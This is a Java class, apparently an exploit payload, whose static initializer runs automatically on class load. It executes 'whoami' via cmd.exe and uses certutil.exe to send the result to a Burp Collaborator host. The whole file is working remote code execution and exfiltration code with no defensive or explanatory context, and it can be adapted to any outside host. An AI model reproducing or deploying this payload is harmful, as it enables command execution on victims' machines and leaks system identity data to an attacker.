import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; public class LifExp { static { try { String[] cmd = {"cmd.exe", "/c", "whoami"}; Process process=java.lang.Runtime.getRuntime().exec(cmd); BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream())); String s= stdInput.readLine(); String[] cmd2 = {"cmd.exe", "/c", "certutil.exe -urlcache -split -f http://XXXXXXXX.burpcollaborator.net/"+s+""}; java.lang.Runtime.getRuntime().exec(cmd2); } catch ( Exception e ) { e.printStackTrace(); } } }